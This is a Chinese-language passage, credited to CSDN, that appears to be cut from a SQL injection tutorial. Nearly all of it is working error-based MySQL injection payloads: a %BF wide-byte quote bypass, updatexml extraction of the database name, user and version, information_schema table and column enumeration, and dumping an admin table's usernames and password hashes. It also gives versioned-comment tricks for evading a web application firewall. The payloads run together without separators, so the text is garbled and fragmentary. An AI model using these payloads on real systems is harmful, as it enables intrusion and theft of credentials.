


username=%BF'SELECT * FROM `sl_admin` WHERE `username`='¿'username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
数据库:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#用户:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#版本:username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

username=%BF/**/and/**/1'username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
4.1.1 绕过第四式:select过安全狗注
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

select/*!50000%53elect*/
order/*!50000%53elect*/
union/*!50000%75nion*/
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#select column_name from information_schema.columns where table_schema like 'test';username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

爆账号:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#爆密码:username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#


原文来源 :CSDN
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